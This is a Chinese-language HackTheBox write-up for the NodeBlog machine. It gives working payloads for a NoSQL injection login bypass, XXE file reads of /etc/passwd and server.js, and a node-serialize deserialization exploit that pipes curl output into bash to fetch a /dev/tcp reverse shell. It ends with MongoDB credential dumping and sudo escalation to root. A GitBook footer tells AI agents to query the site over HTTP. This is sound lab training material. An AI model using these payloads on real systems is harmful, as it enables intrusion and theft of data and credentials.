> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md).

# NodeBlog HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/NodeBlog>" %}

{% hint style="warning" %}
**技能：**

* NoSQL 注入（认证绕过）
* XXE 文件读取
* NodeJS 反序列化攻击（滥用 IIFE）
* Mongo 数据库枚举
  {% endhint %}

## 侦察

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/db6ef4dae3582874518f30ad4ec03e596f3340ae" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.139
```

<figure><img src="/files/b3133422c8d66c43edc4e81573a3331154370d7e" alt=""><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描 22.5000

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,5000 10.10.11.139 -oN targeted
```

<figure><img src="/files/e645bfe82934efc03dbcd6f26487f88cbad6cc6a" alt=""><figcaption></figcaption></figure>

### 5000 端口分析 - NodeJS 应用

<figure><img src="/files/07900529733a4ae6b9047298c88549d80ebaa575" alt=""><figcaption></figcaption></figure>

* 发现一个管理面板。
* 该 `admin` 用户有效。

<figure><img src="/files/27fd964f8b0234c4fb57f6c5c425dc38bd094214" alt=""><figcaption></figcaption></figure>

## NoSQL 注入漏洞（认证绕过）

使用 Burp Suite 拦截请求。

<figure><img src="/files/6616237eea8ad3245f5068c3b1903aa7307079fc" alt=""><figcaption></figcaption></figure>

测试经典注入 payload：

```bash
username=admin&password[$ne]=toto
```

这不起作用。

转换为 JSON 并更改 `Content-Type` 更改为 `application/json`:

```sql
{
  "user": "admin",
  "password": { "$ne": null }
}
```

结果：认证成功！

<figure><img src="/files/df1e933f0d4d2861ac274f45ec5b9f8f5138d7dc" alt=""><figcaption></figcaption></figure>

## XXE 注入漏洞利用

<figure><img src="/files/4931663b1bdf914dd424288aa115734473a05260" alt=""><figcaption></figcaption></figure>

上传 TXT 文件：被拒绝，只接受 XML 文件。

```
你好，这是一个测试
```

<figure><img src="/files/a9a46750c26ad1eec1947627bfa4b56c5db1e225" alt=""><figcaption></figcaption></figure>

所需格式：

```xml
<post>
    <title>示例帖子</title>
    <description>示例描述</description>
    <markdown>示例 Markdown</markdown>
</post>
```

<figure><img src="/files/0b20f5b7598de4b105e1a5e4e74637ababafdc82" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/56b55f24ecbcbef3c618dc08efea6d385eb2376e" alt=""><figcaption></figcaption></figure>

发送一个包含外部实体的 XML 文件以读取 `/etc/passwd`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<post>
    <title>示例帖子</title>
    <description>示例描述</description>
    <markdown>&xxe;</markdown>
</post>
```

结果： `/etc/passwd` 的内容被显示出来。

<figure><img src="/files/2bab01ef06d6ae22d0a3e89ef0113baa986ecac5" alt=""><figcaption></figcaption></figure>

* 发现一个用户 `admin`.

<figure><img src="/files/47d92fdb73bc6d02cc8c097b0d82cf6aeb2698b0" alt=""><figcaption></figcaption></figure>

注入以读取 `/opt/blog/server.js` 并识别存储的凭据。

<figure><img src="/files/9c2edb70f57d8341f2b6182256d01ba6958b903b" alt=""><figcaption></figcaption></figure>

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///opt/blog/server.js" >]>
<post>
    <title>示例帖子</title>
    <description>示例描述</description>
    <markdown>&xxe;</markdown>
</post>
```

<figure><img src="/files/c0a6906c94b36f000acac507dd60e0d41797c359" alt=""><figcaption></figcaption></figure>

## 利用 NodeJS 反序列化

* 发现一个反序列化会话 cookie 的函数。

<div data-full-width="true"><figure><img src="/files/1664ad3584a48ec371eb21f4d20c5f31b4ddfd67" alt=""><figcaption></figcaption></figure></div>

创建一个 Payload：

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.61', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

使用以下命令监听 ICMP 流量：

```bash
tcpdump -i tun0 icmp -n
```

* URL 编码：

<figure><img src="/files/2be397d23694f9d3d35fd72bf5a659b0dee2a565" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%32%38%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

通过 URL 编码构造 RCE 并注入到 cookie 中。

<figure><img src="/files/6207cedba881f4459860b18d20bde70e62837f66" alt=""><figcaption></figcaption></figure>

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="/files/35afa226d2d6e0926200bcfc36fbd5d3f35b7a4d" alt=""><figcaption></figcaption></figure>

### RCE - 漏洞反序列化（nodejs）

创建一个 `index.html` 反向 shell 脚本：

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

启动一个 HTTP 服务器：

```bash
python3 -m http.server 80
```

监听：

```bash
nc -nlvp 443
```

#### 发送 Payload：

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.14.61 | bash', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

* URL 编码：

{% code overflow="wrap" %}

```
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%36%31%20%7c%20%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

结果：获得 Shell 访问权限。

<figure><img src="/files/ee065b90ab17633ee6d8c530d9d9df0ae7db88a8" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/d6fafbf43331f2c933215186efc429844ddbc410" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

### Mongo 数据库枚举

<figure><img src="/files/0f8935fd9cfcc1b4b0f2056546580acd065bbcf9" alt=""><figcaption></figcaption></figure>

连接到 MongoDB 数据库（27017 端口开放）：

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="/files/a51786b736e5ff7ffada890f2d7642aaaca040aa" alt="" width="563"><figcaption></figcaption></figure>

* 用户：admin
* password : IppsecSaysPleaseSubscribe

<figure><img src="/files/4f153143f9cbc29ea637b71dc00e444ba32da830" alt=""><figcaption></figcaption></figure>

### Sudo (ALL:ALL)

检查 sudo 权限：

```bash
sudo -l
```

结果：admin 用户可以运行 `sudo su` 无需密码。

<figure><img src="/files/d74de15aebcbe3b925df57d40d0a3237bddd96cb" alt=""><figcaption></figcaption></figure>

切换到 root：

```bash
sudo su
```

<figure><img src="/files/42c358257333491e8db673ef179a62f23b9e1cec" alt="" width="563"><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/6172d7baa32611d53b99be52f922af2733865bf1" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/80a57c265495fcc8b6b4aedc1b56ee46d130f7cb" alt="" width="338"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
